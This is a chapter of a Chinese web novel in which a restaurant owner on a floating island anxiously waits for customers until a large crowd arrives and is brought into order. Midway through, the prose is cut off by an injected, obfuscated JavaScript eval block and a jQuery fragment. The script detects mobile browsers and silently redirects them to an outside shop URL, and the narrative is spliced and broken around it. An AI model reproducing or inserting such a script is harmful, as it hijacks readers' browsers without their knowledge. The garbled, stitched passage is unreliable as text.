“嗡嗡嗡——”手环的震动声在清晨显得格外明显。秋南吕被这股持续不断的震颤硬生生从梦境里拽了出来,意识还没完全回笼,身体已经本能地动了。
她迷迷糊糊地搂住自己那只已经抱得有些变形的玩偶,用脸颊蹭了蹭它柔软的耳朵,翻了个身才慢慢坐起来。
揉了揉惺忪的睡眼,忍不住张开嘴打了个长长的哈欠,眼角都沁出一点泪花来:“唉,到点起床的日子又开始了,还不如早八呢。”语气里带着几分不情愿的意味,可心里也明白,这是没办法的事情。
窗外的天色正一点一点地亮起来。
太阳从远处的天际线缓缓升起,金色的光线穿过窗格洒进屋里,在地板和桌面上泛起细碎的光斑,像是撒了一层薄薄的金粉。
“清明前后,种瓜点豆。立夏小满正栽秧。白露早,寒露迟,秋分种麦正当时——”秋南吕心情颇好地哼着这首已经忘记是从哪里听来的农谚,声音轻快得像窗外跳跃的晨光。她一边哼着,一边手脚麻利地洗漱,水花溅在脸上带来的凉意让她彻底清醒了过来。
“芜湖,新的一天又开始啦!”秋南吕脚步轻快的走出小院。
等秋南吕到了小麦餐厅的时候,时间其实还早。
她先是慢悠悠地检查了一遍餐厅的各个角落,确认一切都井井有条,然后便靠在柜台边上,一边等着客人上门,一边在心里默默盘算着今天的营业计划——要做多少份餐食、食材够不够用……这些琐碎却重要的事情在脑海里一样一样地过。
可是,等了又等,等了再等,餐厅里始终空荡荡的,连个人影都没有。
秋南吕开始有些坐不住了。她低头看了一眼手环上的时间——都快中午了。
屏幕上的数字清晰而又明确,让她心里咯噔了一下。
这不应该啊,怎么还没有人来?
她先是有些焦躁地在餐厅里来回转悠,脚步不由自主地加快,鞋底在地面上发出细碎的声响。
眉头也微微蹙了起来,眉心间拧出一个浅浅的“川”字。
要不是餐厅自带自洁功能,地面和桌面始终一尘不染,她估计早就拿起抹布这里擦擦、那里抹抹了——总得找点什么事做,才能让自己不去胡思乱想。
可是,在餐厅里来回转悠了好几圈,那股焦虑的情绪不但没有缓解,反而像滚雪球一样越滚越大,越积越浓。
秋南吕深吸一口气,终于忍不住走出了餐厅,让苍载着自己穿过湖面,来到对岸。
空气里弥漫着浓重的潮气,湿漉漉地黏在皮肤上,像是裹了一层看不见的水膜。
秋南吕至今还是不太能适应这种身体触碰到哪里都是黏腻的感觉,忍不住轻轻甩了甩手臂,却无济于事。
她站在岸边,望着对岸的方向,深深吐出一口气,像是在把胸口的烦闷一并吐出去。她低声自言自语道:“不会……出现什么意外事件了吧?”
按理来说,不应该啊。
就算昨天回去的那些人,因为种种原因没有向外透露这里的详细情况——比如谨慎、比如观望、比如害怕引来麻烦——可有那些她之前做的那些宣传铺垫,也不可能没有一个人愿意来。
毕竟,这些东西在末世的吸引力是实打实的,对每一个在废墟里挣扎求生的人都有莫大的吸引力。
秋南吕的思绪飞快地转着。昨天那些人没有第一时间过来,是因为苏平夏他们的安排,要先行探查、评估风险。
可现在探查已经结束了,难不成……是官方得出结论,决定阻止人们过来了?
想到这里,秋南吕的心猛地往下一沉。
各种不太乐观的猜测在她脑海中此起彼伏,一个接一个地冒出来,越想越远,甚至已经开始盘算要不要调整宣传策略了——是换个方向,还是加大力度?
就在这时,远处的视线尽头,出现了一个人的身影。
秋南吕下意识地眯起眼睛,抬手挡住斜射过来的光线,定睛一看——是向灵萱。
小姑娘正快步朝这边走来,步伐轻快而稳健,看上去并没有什么异常。秋南吕的心稍稍放下了一点。
随着向灵萱越走越近,秋南吕注意到,在她身后,竟然跟着乌泱泱的一大群人。
男男女女,老老少少,三三两两地走着,正沿着岸边的方向汇聚过来。
人数看上去远比昨天要多得多,有的快步疾行,有的东张西望,有的交头接耳,整个队伍拉成了一条长长的线。
秋南吕顿时一头雾水,脑袋里冒出一个大大的问号:啊?这……是怎么回事?她下意识地眨了眨眼,以为自己看错了。
她还没来得及细想,向灵萱已经带着人走到了近前。
小姑娘脸上带着几分笑意,语气也比昨天活泼了许多,眼睛里亮晶晶的:“老板,客人们来了。”
“啊?哦,好好。”秋南吕愣了半拍,脑子里还在转着刚才那些念头,随即迅速回过神来,脸上重新挂上了从容的微笑。
不管刚才脑子里转过了多少猜测和担忧,此刻客人已经站到了面前,赶紧行动起来才是最重要的。
秋南吕脸上扬起一抹灿烂的笑容,声音清朗地朝众人喊道:“欢迎各位来到桃源居!”
话音刚落,人群里立刻炸开了锅,像是烧开的水一样翻腾起来。
“哇塞——这里真的有这么大的浮空陆地啊!”说话的是一个之前只听过各种传言、却从未亲眼见过的年轻人。
他仰着脖子,瞪大眼睛望着眼前那片悬浮在湖面上方的土地,嘴巴半天没合拢,下巴都快掉下来了。
“老板老板,我来了!这段时间我都要馋死了!做梦都是桃子的味道。”另一个声音从人群中间挤了出来,语气里带着迫不及待的激动和委屈。
这是之前幸运地吃到过领地产出食物的人,此刻满脸都是回味与渴望,喉结上下滚动了一下。
“我朋友昨天回去说得天花乱坠,我还以为他吹牛呢,没想到比说的还夸张!”一个中年男人扯着嗓子对旁边的人说,眼睛瞪得溜圆。
“快快快,还等什么,咱们赶紧上去啊!”有人已经开始往前挤了,恨不得一步就跨到那片浮空陆地上。
各种声音此起彼伏,像开了锅的潮水一样翻涌不息,一波接着一波,根本停不下来。
每个人都急着抒发自己的想法,有惊叹的,有催促的,有好奇的,有四处张望的,还有的拉着同伴指着远处说个不停。
秋南吕站在人群前面,只觉得耳边像是有一大群鸭子在“嘎嘎嘎”地吵闹,又像是无数只蜜蜂在头顶盘旋,乱哄哄的一片,脑袋都快被吵大了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611371|205336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她努力维持着脸上的笑容,嘴角的弧度却越来越僵硬,眼角已经微微抽搐,心里暗暗叫苦:这些客人也太热情了吧……
站在一旁的向灵椿看得分明,一眼就注意到秋南吕脸上那几乎要绷不住的表情。
她没有犹豫,伸手轻轻拍了一下身边向灵萱的肩膀。
“姐,怎么了?”向灵萱正看得热闹,头转过来了,眼睛还乐呵呵地盯着面前喧闹的人群,嘴角翘得老高,一副看好戏的样子。
“别光顾着乐了,快让大家冷静一下吧。”向灵椿微微侧头,朝着秋南吕的方向使了个眼色,语气平淡却带着不容置疑的认真。
“哦哦哦——知道了!”向灵萱顺着姐姐的目光看过去,这才注意到秋南吕那张快要笑僵的脸,吐了吐舌头,连忙收回看热闹的心思。
她深吸一口气,两脚站稳,气沉丹田,扯开嗓子喊道:“朋友们——朋友们!大家听我说两句!”
那声音洪亮又干脆,像是一道惊雷炸在人群上空,一下子压过了所有的嘈杂。众人纷纷转过头来看她,目光齐刷刷地聚了过来。
向灵萱见大家安静了一些,赶紧抓住机会,趁热打铁继续说道:“我们都到这儿了,别急在这一时半会儿!大家排好队,有序地上去,才能尽快把好吃的吃到嘴里,对不对?”
她那大嗓门带着一股让人安心的爽利劲儿,像是一阵清风吹过燥热的田野。人群果然又安静了几分,有些人已经开始下意识地收住了往前挤的势头。
秋南吕心里暗叫一声“好机会”,连忙趁热打铁,接过话头朗声说道:“各位朋友,现在的交通工具运载人员有限,请大家不要拥挤,按顺序乘船。咱们一个一个来,都能上去的!谁也不会落下!”
两个人你一言我一语,话语虽简单,却像一盆凉水浇在了兴奋过度的火苗上,发出“嗤”的一声轻响,让躁动的人群慢慢冷静了下来。
大家虽然心里还是急,但也明白挤成一团谁也走不了,反而会耽误更多时间。
于是彼此对视一眼,心照不宣地按照某种默契——实力的高低,高阶异能者在前,低阶在后——自觉地排好了长队。
有人还在小声嘀咕着什么,但已经没有人再往前挤了。
现场的秩序很快恢复了稳定,整齐的队伍从岸边一直延伸到远处。
秋南吕暗暗松了一口气,心里那块石头总算落了地。
临行前,她忽然想起什么,回过头朝向灵椿招了招手,语气随意却带着一丝自然的亲近:“向灵椿,你先和我一起上去吧。”然后转过头,对着也看向这边的向灵萱说:“向灵萱,你在这里接引客人。辛苦你了。”
“好的老板。”向灵椿和向灵萱默契地同时回答,声音一高一低,却叠在了一起。
就在三人说话的这短短功夫里,第一批客人已经迫不及待地上了船。
有人稳稳当当地坐下,有人扶着船舷东张西望,眼睛里全是好奇和期待。
“老板,别聊了,咱们快走吧。”一个秋南吕有些眼熟的年轻人催促道,语气里带着按捺不住的急切,双脚已经在船板上轻轻跺了两下。
“来了。”秋南吕应了一声,转身迈步上了船。
船身微微一晃,随即稳稳地载着这一行人,向着升降装置驶去。